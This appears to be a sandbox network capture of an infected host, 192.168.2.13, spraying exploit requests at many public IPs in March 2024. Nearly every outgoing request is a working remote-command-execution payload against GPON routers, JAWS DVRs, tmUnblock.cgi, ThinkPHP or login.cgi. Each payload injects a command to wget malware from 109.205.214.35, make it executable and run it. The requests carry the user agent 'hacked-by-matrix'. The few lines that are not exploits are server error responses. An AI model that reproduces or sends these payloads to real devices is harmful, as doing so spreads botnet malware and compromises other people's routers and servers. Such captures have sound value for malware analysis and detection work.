Mar 21, 2024 05:22:53.631731987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
752	192.168.2.13	57140	109.132.118.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631761074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
753	192.168.2.13	33970	212.192.91.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631764889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
754	192.168.2.13	45326	109.132.202.73	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631767988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
755	192.168.2.13	38334	5.169.236.238	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631787062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
756	192.168.2.13	44584	212.180.166.172	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631794930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
757	192.168.2.13	51794	42.91.17.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631802082 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
758	192.168.2.13	41488	212.53.70.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631894112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
759	192.168.2.13	44072	5.21.161.170	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.631903887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
760	192.168.2.13	44760	222.154.229.97	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:53.646676064 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:55.216238022 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
761	192.168.2.13	59674	101.43.167.85	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:54.721618891 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:55.037749052 CET	158	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
762	192.168.2.13	57642	172.67.105.208	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:54.724004030 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:22:55.006328106 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
763	192.168.2.13	53584	95.251.31.17	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:54.796418905 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:55.038158894 CET	1286	IN	HTTP/1.1 200 OK Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 31 32 38 2e 70 6e 67 22 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 38 78 31 32 38 22 20 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 31 39 32 2e 70 6e 67 22 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 66 61 76 69 63 6f 6e 32 35 36 2e 70 6e 67 22 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 32 35 36 78 32 35 36 22 20 2f 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 33 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 69 64 3d 22 76 69 65 77 70 6f 72 74 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 73 74 61 74 75 73 2d 62 61 72 2d 73 74 79 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 62 6c 61 63 6b 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 73 74 61 72 74 75 70 2d 69 6d 61 67 65 22 20 68 72 65 66 3d 22 69 6d 67 2f 69 6e 74 72 6f 2e 67 69 66 22 20 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 69 63 6e 2e 67 69 66 22 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 2f 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 63 72 79 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 74 69 74 6c 65 3e 41 6d 69 63 61 57 45 42 20 50 4c 55 53 20 2d 20 43 6f 6d 62 69 76 6f 78 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 77 69 64 74 68 5f 66 6d 61 78 22 20 6f 6e 6c 6f 61 64 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 6c 6f 61 64 70 61 67 65 28 29 3b 22 20 69 64 3d 22 6d 61 69 6e 62 64 22 3e 3c 63 65 6e 74 65 72 3e 3c 66 6f 72 6d 20 69 64 3d 22 66 72 6d 49 6e 64 65 78 22 20 6e 61 6d 65 3d 22 66 72 6d 49 6e 64 65 78 22 20 6d 65 74 68 6f 64 3d 22 70 6f 73 74 22 20 61 63 74 69 6f 6e 3d 22 22 3e 3c 64 69 76 20 69 64 3d 22 62 6f 78 53 69 6d 70 6c 79 61 22 20 63 6c 61 73 73 3d 22 62 6f 78 53 69 6d 70 6c 79 61 22 3e 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 4d 61 69 6e 22 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 20 31 35 70 78 3b 22 3e 3c 64 69 76 20 69 64 3d 22 54 78 74 54 69 74 6c 65 22 20 63 6c 61 73 73 3d 22 54 78 74 54 69 74 6c 65 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 31 30 30 25 22 3e 3c 61 20 69 64 3d 22 6c 6e 6b 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 73 65 6c 66 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3b 22 3e 43 6f 6d 62 69 76 6f 78 2e 2e 2e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 62 74 6e 53 63 72 65 65 6e 22 3e 3c 64 69 76 20 69 64 3d 22 62 75 74 74 6f 6e 73 38 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 Data Ascii: <html xmlns="http://www.w3.org/1999/xhtml"><head><link href="favicon.ico" rel="shortcut icon" type="image/x-icon" /><link href="favicon128.png" rel="icon" sizes="128x128" /><link href="favicon192.png" rel="icon" sizes="192x192" /><link href="favicon256.png" rel="icon" sizes="256x256" /><meta content="width=device-width, maximum-scale=3.0, user-scalable=yes" name="viewport" id="viewport" /><meta name="apple-mobile-web-app-capable" content="yes" /><meta name="apple-mobile-web-app-status-bar-style" content="black" /><link rel="apple-touch-startup-image" href="img/intro.gif" /><link href="img/icn.gif" rel="apple-touch-icon" /><script language="JavaScript" type="text/javascript" src="/crypt.js"></script><title>AmicaWEB PLUS - Combivox</title></head><body class="width_fmax" onload="javascript:loadpage();" id="mainbd"><center><form id="frmIndex" name="frmIndex" method="post" action=""><div id="boxSimplya" class="boxSimplya"><div id="titleMain" style="height: 15px;"><div id="TxtTitle" class="TxtTitle" style="width:100%"><a id="lnkreload" href="javascript:self.location.reload(true);">Combivox...</a></div></div><div id="btnScreen"><div id="buttons8"></div></div><script language="JavaScript" type="te
Mar 21, 2024 05:22:55.040169001 CET	149	IN	Data Raw: 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6e 63 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 64 69 76 20 69 64 3d 22 62 6f 74 74 6f 6d 54 65 78 74 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 3c 64 69 Data Ascii: xt/javascript" src="/nc.js"></script><div id="bottomText" style="display:none"><div id="bottomRight"></div></div></div></form></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
764	192.168.2.13	44424	81.188.106.213	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:55.132494926 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
765	192.168.2.13	55024	95.216.232.248	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:55.218528986 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:55.410942078 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:22:55 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
766	192.168.2.13	47158	112.147.23.16	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:55.333872080 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:55.649439096 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:22:55 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
767	192.168.2.13	54384	23.63.97.66	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:55.345876932 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:55.578804970 CET	238	IN	HTTP/1.0 301 Moved Permanently Location: https:///login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ Server: BigIP Connection: Keep-Alive Content-Length: 0
Mar 21, 2024 05:22:55.628683090 CET	238	IN	HTTP/1.0 301 Moved Permanently Location: https:///login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ Server: BigIP Connection: Keep-Alive Content-Length: 0
Mar 21, 2024 05:22:55.729655981 CET	238	IN	HTTP/1.0 301 Moved Permanently Location: https:///login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ Server: BigIP Connection: Keep-Alive Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
768	192.168.2.13	33852	104.248.45.240	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:55.360003948 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:06.668241024 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:06.844213009 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:06 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
769	192.168.2.13	56828	112.74.73.15	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:55.395790100 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
